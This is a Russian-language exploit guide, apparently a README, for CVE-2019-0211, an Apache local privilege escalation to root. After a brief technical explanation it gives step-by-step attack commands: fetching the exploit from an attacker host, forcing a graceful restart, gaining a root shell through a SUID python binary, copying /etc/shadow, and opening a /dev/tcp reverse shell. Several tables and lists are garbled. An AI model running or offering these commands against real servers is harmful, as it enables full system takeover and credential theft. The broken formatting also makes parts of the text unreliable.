
CVE-2019-0211 — это уязвимость локального повышения привилегий, затрагивающая Apache HTTP Server версий 2.4.17–2.4.38 с mod_prefork и mod_php (или PHP-FPM).
Уязвимость позволяет атакующему с shell под пользователем www-data повысить привилегии до root с помощью комбинации Use-After-Free (UAF) в PHP и повреждения scoreboard Apache. Когда Apache выполняет graceful restart (например, при ротации логов в 6:25 утра), он вызывает child_init() до сброса привилегий. Если нам удастся повредить указатель на эту функцию, мы сможем заставить Apache выполнить произвольную команду с правами root.
CVSS 3.1: 7.8 (HIGH) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
| Поле | Значение |
|---|---|
| CVE | CVE-2019-0211 |
| Продукт | Apache HTTP Server |
| Затронутые версии | 2.4.17 – 2.4.38 |
| Тип | Local Privilege Escalation (CWE-269) |
| Требование | Shell как www-data, Apache с mod_php, MPM prefork/worker/event |
| CVSS 3.1 | 7.8 HIGH |
| Патч | Apache 2.4.39 |
Apache использует область разделяемой памяти под названием scoreboard, где каждый дочерний worker-процесс имеет структуру process_score с указателем bucket на prefork_child_bucket. Этот bucket содержит apr_proc_mutex_t с указателями на функции (meth->child_init()).
Когда Apache выполняет graceful restart (естественный триггер в 6:25 утра через logrotate), он вызывает child_init() до сброса привилегий. Эксплойт:
DateInterval и JSON-сериализацией/proc/self/maps, чтобы найти scoreboard (SHM в /dev/zero)all_buckets в памяти Apachemeth->child_init() на system()Charles Fol — @cfreal_
Оригинальный пост в блоге: CARPE DIEM — CVE-2019-0211 Apache Local Root
www-data на сервере.php в директорию, обслуживаемую Apache# 1. Загрузить эксплойт на уязвимый сервер
# С вашей атакующей машины:
python3 -m http.server 8080
# На сервере (как www-data):
cd /var/www/html
wget http://TU_IP:8080/carpediem.php
# 2. Запустить эксплойт
curl http://localhost/carpediem.php
# 3. Дождаться graceful restart Apache
# Вариант A) Дождаться 6:25 утра (автоматический logrotate)
# Вариант B) Принудительно запустить logrotate, если есть права:
sudo /usr/sbin/logrotate /etc/logrotate.conf --force
# 4. Проверить, что python3.5 теперь имеет SUID root
ls -la /usr/bin/python3.5
# Ожидаемый вывод: -rwsr-sr-x 2 root root ...
# 5. Повысить привилегии до root
python3.5 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Вы можете изменить команду, выполняемую с правами root, с помощью параметра cmd:
# Пример: сделать копию /etc/shadow
curl "http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/"
# Пример: reverse shell
curl "http://localhost/carpediem.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/TU_IP/PUERTO+0>%261'"
| Workers |
|---|
Больше workers = выше частота успеха.
/proc/self/maps с помощью hidef или AppArmor/SELinux| Успех |
|---|
| Попытки |
|---|
| Неудачи |
|---|
| 5 (по умолчанию) | 87% | 177 | 26 |
| 8 | 89% | 60 | 8 |
| 10 | 95% | 70 | 4 |